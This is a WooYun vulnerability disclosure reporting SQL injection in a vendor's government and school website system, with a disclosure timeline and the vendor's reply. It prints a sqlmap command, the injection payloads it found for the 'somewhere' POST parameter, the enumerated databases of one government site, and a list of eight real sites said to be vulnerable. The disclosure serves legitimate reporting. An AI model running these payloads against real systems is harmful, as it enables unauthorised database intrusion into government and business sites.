当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104125

漏洞标题:某政府 教育建站系统存在sql注入

相关厂商:安徽高远软件技术有限公司

漏洞作者: 路人甲

提交时间:2015-03-30 11:21

修复时间:2015-07-02 14:02

公开时间:2015-07-02 14:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

null

详细说明:

1.png


21.png


23.png


24.png


25.png


26.png


案例地址
:http://www.gorrun.cn/index.php/channel/cases/

101.png


漏洞涉及网站 是政府和企业
学校网站有安全狗被封IP了。

22.png


漏洞地址:url/?c=search
post注入 参数是 somewhere
都是mysql数据库

002.png


003.png


004.png


005.png


006.png


007.png


008.png


C:\Python27\sqlmap>sqlmap.py -r 110.txt -p somewhere --delay=0.1 --risk 3  --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150301}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:37:13
110.txt
[11:37:13] [INFO] parsing HTTP request from '110.txt'
110.txt
[11:37:13] [INFO] resuming back-end DBMS 'mysql'
[11:37:14] [INFO] testing connection to the target URL
[11:37:14] [INFO] heuristics detected web page charset 'ascii'
[11:37:14] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: somewhere (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: keywords=88952634&=88952634&somewhere=title) RLIKE (SELECT (CASE WH
EN (3583=3583) THEN 0x7469746c65 ELSE 0x28 END)) AND (6781=6781
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: keywords=88952634&=88952634&somewhere=title) AND (SELECT 7143 FROM(
SELECT COUNT(*),CONCAT(0x71787a7671,(SELECT (CASE WHEN (7143=7143) THEN 1 ELSE 0
END)),0x7171627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GR
OUP BY x)a) AND (3400=3400
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: keywords=88952634&=88952634&somewhere=title) AND (SELECT * FROM (SE
LECT(SLEEP(5)))fsIE) AND (9501=9501
---
[11:37:15] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, PHP 5.3.21
back-end DBMS: MySQL 5.0
[11:37:15] [INFO] fetching database names
[11:37:15] [INFO] the SQL query used returns 2 entries
[11:37:15] [INFO] resumed: information_schema
[11:37:15] [INFO] resumed: qyjkq
available databases [2]:
[*] information_schema
[*] qyjkq
[11:37:15] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.qyjkq.gov.cn'


均可以注入
我手动在案例里复制的几个供测试
/*还有很多,复制的累 ,见谅 http://www.gorrun.cn/index.php/channel/cases/ 案例百分之90都存在此漏洞*/
http://www.ahjzsy.cn/?c=search
http://www.qyjkq.gov.cn/?c=search
http://www.gdrd.gov.cn/?c=search
http://msgc.sxczj.gov.cn/?c=search
http://www.fnswj.cn/?c=search
http://www.ahyscoop.com/?c=search
http://www.hfzhgf.com/?c=search
http://www.bbjtsl.com/index.php?c=search

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-03 14:00

厂商回复:

暂未能建立与软件生产单位的直接处置渠道,同时根据实测案例,已经转由CNCERT下发给安徽分中心处置涉及政府部门案例。

最新状态:

暂无